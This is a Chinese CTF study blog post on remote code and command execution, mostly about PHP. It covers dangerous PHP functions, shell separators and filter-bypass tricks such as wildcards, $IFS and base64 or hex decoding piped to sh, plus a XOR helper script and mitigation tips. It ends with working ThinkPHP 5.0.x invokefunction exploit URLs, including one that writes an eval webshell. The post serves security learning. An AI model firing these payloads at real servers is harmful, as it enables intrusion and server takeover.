CTFWeb篇05-RCE

RCE漏洞

简介

  • RCE(remote code/command execute) 远程代码/命令执行漏洞
  • RCE漏洞是两个漏洞:
    • 代码执行漏洞 # 针对后端语言!
    • 命令执行漏洞 # 针对系统!

产生原因

在 Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,从而随意执行系统命令,这就是命令执行漏洞,它属于高危漏洞之一。
在操作系统中,“&、|、||”等都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,从而造成漏洞。

ping命令

  • Ping命令的主要作用是通过发送数据包并接收应答信息来检测两台计算机之间的网络。
  • ping是一个十分基本但又十分重要的TCP/IP网络工具。最早用来方便运维人员检查系统,现在它的作用主要为:
    • 通常用来检测网络的是否连通和测试网络速度
    • 也可以根据域名得到相应主机的IP地址
    • 根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量
  • Ping是基于ICMP协议的网络工具,通常由系统权限执行,本身是网络层的
  • 应用里有一个允许用户输入IP或域名进行Ping的功能,比如网页上的Ping工具,这种情况下如果没有输入过滤,可能导致命令注入攻击
  • ping 后跟系统命令能生效,本质是命令拼接和操作系统对分隔符的解析共同作用的结果
  • 因为具备以上功能,ping命令常常被黑客用来进行网络扫描和攻击
    用法

常见函数

  • 命令执行函数
    • system()
      • 把字符串当做系统命令运行:<?php system('whoami');?>
    • exec()
      • 把字符串当做系统命令运行:<?php echo exec('whoami');?>
    • shell_exec()
      • 不会输出结果,保存所有回显
    • pcntl_exec()
    • popen()
      • 函数用于执行外部命令,并打开一个管道连接,可以通过该管道连接与命令的输入或输出进行交互
      • popen("1","2”):1处为要执行的命令,2处选择r(read只读)w(只写)这里选择r会报错
    • proc_popen()
    • passthru()
      • 把字符串当作系统命令运行:<?php passthru('whoami');?>
  • 代码执行函数
    • eval():将字符串作为php代码执行,里面可以跟上面可以在php中使用的系统执行命令
      • 一般用于写入一句话木马,如:<?php @eval($_POST['pwd']);?>
    • assert():和eval相同
    • call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数常用来调用存在漏洞利用的函数
    • call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组
  • 其他利用的函数
    • var_dump():用于输出信息,常用exec()配合
    • echo():和var_dump()相同
    • printf():和var_dump()相同
    • preg_replace()函数:执行一个正则表达式的搜索和替换
      示例:
<?php
$subject='hello hack';
$pattern='/hack/';
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject);
?>

preg_replace()函数搜索subject中匹配pattern的部分,以replacement进行替换。

命令连接符(Linux下也能用)

常用命令:

  • cmd1 ; cmd2:使多个命令顺序执行,前面命令和后面命令的都会执行
  • cmd1 & cmd2:命令前面的语句为假,则直接执行后面的;前面的语句为真,命令都执行
  • cmd1 && cmd2:前面的语句为假,则直接出错,后面的也不执行;前面为真,都执行(与)
  • cmd1 | cmd2:前面命令正确,直接执行后面的语句;前面的语句为假,则直接出错,后面的也不执行
  • cmd1 || cmd2:前面出错,执行后面的;前面为真,只执行前面的(或)
  • 注:除;以外的连接符可能不是按顺序进行的(maybe)

注释符,

类似c语言中的//注释
Windows的注释符号为::
Linux的注释符号为#

转义字符

类似c语言中的\转义符

  • c\at hello.txt //命令正常执行
    Windows的注释符号为^
    Linux的注释符号为\

绕过防护的方法

通配符

1、?:匹配单个字符或匹配多个字符就需要用多个?连接,代表一个未知字符

  • cat hello.??? //利用?匹配txt
    2、*:*代表任意数量的字符
  • cat hel* //查看当前目录下所有以he开头的文件
    3、[]:代表一定有一个[]内的字符(非任意字符),例如[abcd]代表有其中任意一个字符,可以是a,b,c,d中任意一个
    示例:一个常用的读取密码命令:cat /etc/passwd
    cat hel[l]o.txt //命令正常执行,但是不可加到命令关键字里面。
    ca[t] hel[l]o.txt //报错

使用了?通配符之后,他就可能有很多种变化,比如这两种,而这些亲测都是可以使用的
cat /?tc/?as?wdcat /*tc/*as*wd
这里需要注意的也是一样,不要局限自己的思维,几种通配符也是可以搭配使用的
与正则表达式的区别:正则中,?匹配前面的字符或表达式一次或零次,*匹配前面的字符或表达式多次或零次。

未初始化变量

未初始化的变量值都是null,例如a , a,a,b,在linux环境下输出都为null ,所以可以用未初始化变量加在一些命令的末尾,来绕过一些黑名单
示例: cat$a /etc$a/passwd$a

Linux绕过

\绕过

例如:l\s

""绕过

例如:l""s

' '绕过

例如:l''s

取反绕过

异或绕过

异或性质

  • 交换律: A XOR B 等于 B XOR A
  • 结合律: (A XOR B) XOR C 等于 A XOR (B XOR C)
  • 自反性: A XOR A 等于 0
  • 零元素: A XOR 0 等于 A

异或脚本

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "

answer = str(input("请输入进行异或构造的字符串:"))

tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)




自增绕过

preg_match绕过

php使用的PCRE库使用了NFA作为正则引擎
NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限,回溯次数上限默认是100万

空格代替

  • <
  • <>:针对数据包,如.txt文件
  • %20:针对web传参
  • %09:针对web传参
  • %0a
  • $IFS
  • $IFS$9:针对数据包
  • ${IFS}:针对数据包
  • ()

cat替换命令

  • tac 与cat相反,按行反向输出
  • more 按页显示
  • less 与less类似
  • head 从文件首行查看
  • tail 从文件末尾查看
  • nl 与cat相同会显示行数
  • grep 直接查找文件中的关键字

%0a绕过

  • %0a代表换行,通过%0a能够注入一条新的命令
  • 有些函数只会识别和处理第一行的相关字符,使用%0a将数据换行,可以绕过一些函数执行命令

花括号{}

  • linux中,可以使用花括号执行系统命令,同时花括号中可以使用逗号代替空格。
  • 针对数据包,{ip,addr} , {cat,hello.txt},{ls,},如果是单命令也需要加上一个逗号

引号执行(绕过)

  • cat fl''ag
  • cat fl''a""g
  • cat he""Il"o.txt //命令正常执行

目录分隔符绕过

  • cd 文件;cd 文件;......

base64编码

  • 原理
    • echo "abcd" | base64(命令行进行base64加密)
    • echo "YWJjzAo=" | base64 -d(命令行对base64解密)
  • 实现输入的命令中没有ls但执行ls的功能
    • echo "ls" | base64
    • echo "bHMK" | base64 -d | bash
    • echo "bHMK" | base64 -d | sh(将命令经过base64解码后的命令ls进行执行)
  • 实现输入的命令中没有cat但执行cat的功能(上面的ls要换成cat)
  • cat [file]|base64还可以用base64 [file],结果会以base64编码形式输出

hex编码(需要装xxd命令)

  • -r 解码
  • -p 省略0x
  • echo "abcd" | xxd(命令行进行hex编码)
  • echo "616263640a" | xxd -r -p(命令行进行hex解码)
  • echo "ls" | xxd
  • echo "6c730a" xxd -r -p | bash(执行ls命令)
  • echo "6c730a" xxd -r -p | sh(执行ls命令)

偶读拼接(过滤某个单词)

原理:利用变量将最后的字符拼接起来

  • 例如当前目录有个hello.txt 的文件,可以使用”a=hel;b=lo;cat \(a\)b.txt“进行读取
  • 同理执行—条命令可以使用a=l;b=s;\(a\)b进行执行。

文件包含漏洞

利用的前提条件

(1)web 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参
数的方式引入
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问

文件包含获取 webshell 的条件:

(1)攻击者需要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞
例如<?php eval($_REQUEST['ctfhub']);?>中有一个eval漏洞,可通过POST请求改变ctfhub进行操作如ctfhub=system('ls');(注:分号一定要加上)。通过get(包含文件) post(传参)并用来得到flag

漏洞常见位置

各种cms框架的命令执行漏洞是最多的,着重在这些地方找,除此之外就是插件位置,插件因为各种原因经常也需要执行系统命令,当然其他的地方也有,只是说这两个位置最多。

命令执行漏洞修复

一、PHP配置文件禁用敏感函数
通过php配置文件中的disable_functions禁用敏感函数。
二、使用相关过滤函数处理相关参数
1、escapeshellarg函数:把字符串转码为可以在 shell 命令里使用的参数,过滤命令中的参数。
2、escapeshellarg函数:shell 元字符转义,过滤命令。
三、正则过滤
示例:preg_match_all("/cat/", $ip, $m)
四、函数过滤

  • strpos(,,):用于查找字符串,第一个参数必须,为要搜索的字符串,第二个参数必须,为要查找的字符串,第三个参数可选,规定在何处开始搜索
    • 例如用于查找GET请求的变量中是否有flag
  • substr(,,)+include()substr()是php中的一个字符串处理函数,用于返回字符串的一部分,第一个参数为字符串。include()会将指定文件的内容包含到当前脚本中,如果文件包含PHP代码,那么这些代码将被执行。
    • 漏洞示例:if (substr($_GET["file"],0,6)==="php://") {include($_GET["file"]);}
    • 如果存在'file'参数,检查它的值的前六个字符是否等于"php://"。这是一个危险的操作,因为它允许通过URL传递特殊流协议(如php://filter、php://input等)来执行任意代码。
  • error_reporting(E_ALL);:这行代码设置了PHP的错误报告级别为E_ALL,意味着PHP将报告所有错误,包括警告和通知。这在开发过程中可以帮助调试,但在生产环境中可能会暴露敏感信息,因此通常不建议这样做。

  • __isset()判断一个变量是否已设置, 即变量已被声明,且其值为ture

ThinkPHP5.0的RCE漏洞

  • ThinkPHP V5.0 存在一个严重的远程代码执行(RCE)漏洞,影响版本范围为 5.0.0 到 5.0.23
  • 该漏洞是由于 ThinkPHP 框架在处理控制器(路由控制)传参时,没有对参数进行充分的过滤与验证,导致攻击者可以通过构造恶意请求,调用 Request 类的任意方法并构造利用链,从而在服务器上执行任意代码
  • 框架在处理控制器传参时的缺陷:think\app\invokefunction方法在解析用户输入时,没有对方法名和参数进行严格过滤。这使得攻击者可以通过构造恶意的URL参数,调用Request类的任意方法,并构造利用链来执行任意代码

攻击范围

  • 5.x < 5.1.31, <= 5.0.23

攻击分析

  • 入口点:攻击者通过构造特定的URL请求,例如:
http://example.com/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
  • 这里的s参数是关键,它被用来指定要调用的方法。
  • 方法解析
    • 框架在处理请求时,会解析s参数中的内容。例如,index/\think\app/invokefunction会被解析为调用think\app命名空间下的invokefunction方法。
  • 函数调用:
    • invokefunction方法内部会进一步解析传入的参数,如function=call_user_func_array。这个参数指定了要调用的PHP内置函数call_user_func_array,它允许动态调用函数并传递参数。
  • 代码执行:
    • 最终,call_user_func_array函数被调用,执行了system函数,并传入了whoami命令,返回当前用户的系统信息
      参考博客
攻击示例:
  • index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
    • 这将触发 phpinfo() 函数的执行
  • s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    • 这将执行 whoami 命令
  • s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
    • 这将写入一句话木马
Payload构造分析
  • 动态方法调用
    • 关键类与方法:
      • think\App类:负责应用调度和请求处理。
      • invokefunction方法:动态调用任意PHP函数,且参数可控
基础构造
  • 通过invokefunction调用system函数执行命令
  • URL结构:/index.php?s=模块/控制器/方法
  • 攻击参数:s=/index/\think\app/invokefunction
    • index:默认模块
    • \think\app:指向think\App类
    • invokefunction:目标方法
  • 传递函数参数
# GET参数
function=call_user_func_array
vars[0]=system
vars[1][]=要执行的命令

# 完整Payload
http://target.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
# 执行流程:
## 路由解析到think\App::invokefunction
## call_user_func_array调用system('id')。
##3 服务器执行命令并返回结果
变种和绕过
# 直接调用system函数
http://target.com/index.php?s=/index/\think\app/invokefunction&function=system&vars[]=id
## 简化参数:直接传递function=system,无需call_user_func_array。
# 执行PHP代码
http://target.com/index.php?s=/index/\think\app/invokefunction&function=assert&vars[0]=phpinfo();
## 利用assert函数:执行任意PHP代码(需assert未被禁用)。
# 写入Webshell
http://target.com/index.php?s=/index/\think\app/invokefunction&function=file_put_contents&vars[0]=shell.php&vars[1]=<?php @eval($_POST['cmd']);?>
## 写入文件:生成shell.php,密码为cmd
编码与混淆技巧
  • Base64编码命令
    • $cmd = base64_encode('cat /flag'); // Y2F0IC9mbGFnCg==
    • http://target.com/...&vars[1][]=echo+Y2F0IC9mbGFn+|+base64+-d+|+sh
  • 十六进制编码
    • http://target.com/...&vars[1][]=$(printf+"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
    • \x63\x61\x74 → cat,\x2f → /,\x66\x6c\x61\x67 → flag
为什么服务器会解析s参数
  • 在ThinkPHP框架中,s参数用于指定URL中的路由信息
  • ThinkPHP采用单入口模式,所有请求都通过index.php进入,然后通过解析URL中的参数来确定具体的控制器和方法
  • 默认情况下,ThinkPHP使用s参数来传递路由信息
  • 可以将参数名从s改为其他名称,但这需要对框架的配置进行修改
  • ThinkPHP框架允许通过配置文件来指定用于传递路由信息的参数名。默认情况下,这个参数名是s,但你可以通过修改配置文件中的var_pathinfo参数来改变它
什么是控制器(路由)
  • 在Web开发中,控制器(Controller) 是MVC(Model-View-Controller,模型-视图-控制器)架构模式中的一个重要组成部分
  • 它负责处理用户请求、调用模型(Model)来处理业务逻辑,并将结果传递给视图(View)以生成用户界面
  • 控制器是用户与应用程序之间的桥梁,它协调了数据处理和用户界面的显示。
  • 控制器的主要作用:
    • 接收用户请求:控制器从用户那里接收输入,例如表单提交、点击按钮、输入URL等
    • 调用模型:控制器根据用户请求调用模型来处理业务逻辑。模型通常负责与数据库交互、数据验证、业务规则处理等
    • 处理结果:控制器根据模型的处理结果,决定下一步的操作,例如跳转到某个页面、显示错误信息等
    • 返回响应:控制器将处理结果传递给视图,视图根据控制器提供的数据生成用户界面,并将结果返回给用户。
  • 在ThinkPHP框架中,控制器通常是一个PHP类,继承自框架提供的基类(如think\Controller)
  • 一个典型的控制器类可能包含多个方法,每个方法对应一个用户请求的处理逻辑
  • 假设用户访问了一个Web应用程序的首页,以下是控制器的工作流程:
    • 接收请求:用户通过浏览器访问UR;,请求被发送到服务器
    • 路由解析:ThinkPHP框架的路由机制解析请求,确定要调用的控制器和方法。例如,根据URL路径,框架可能会调用IndexController的index方法
    • 调用控制器方法:框架实例化IndexController类,并调用其index方法
    • 调用模型:index方法内部调用模型(如Article模型)来获取文章列表数据
    • 处理结果:模型返回文章列表数据,控制器将数据传递给视图
    • 返回响应:视图根据控制器提供的数据生成HTML页面,并将页面返回给用户
  • 控制器与模型、视图的关系:
    • 模型(Model):负责处理业务逻辑和数据操作,通常与数据库交互
    • 视图(View):负责生成用户界面,通常是一个HTML模板文件
    • 控制器(Controller):作为中间层,协调模型和视图,处理用户请求并返回响应

GetShell漏洞

  • GetShell漏洞是指攻击者利用系统或应用程序中的漏洞,获取服务器的控制权(Shell),从而能够执行任意命令或脚本的过程
  • GetShell漏洞的应用场景
    • 远程代码执行(RCE)漏洞
      • 远程代码执行漏洞是GetShell漏洞中最常见的一种。攻击者通过构造恶意输入,触发应用程序中的漏洞,从而在服务器上执行任意代码
    • 文件上传漏洞
      • 文件上传漏洞是另一种常见的GetShell漏洞。攻击者通过上传恶意文件(如PHP脚本、JSP文件等),并在服务器上执行这些文件来获取控制权
      • 例如,某些编辑器(如FCKeditor、CKEditor等)存在上传漏洞,攻击者可以利用这些漏洞上传恶意脚本文件。
    • 逻辑漏洞
      • 逻辑漏洞是指应用程序的逻辑设计存在缺陷,攻击者可以利用这些缺陷绕过安全机制,获取控制权
      • 例如,某些应用程序可能允许用户上传ZIP文件,并在后台解压这些文件。攻击者可以通过上传包含恶意脚本的ZIP文件,并利用应用程序的解压功能来释放并执行这些脚本。
    • 结合多种漏洞
      • 在实际攻击中,攻击者往往需要结合多种漏洞来获取控制权。例如,攻击者可能先利用XSS漏洞获取后台登录权限,然后通过后台的文件上传功能上传恶意脚本,最终获取服务器的控制权
posted @ 2024-11-22 21:47  micryfotctf  阅读(220)  评论(0)    收藏  举报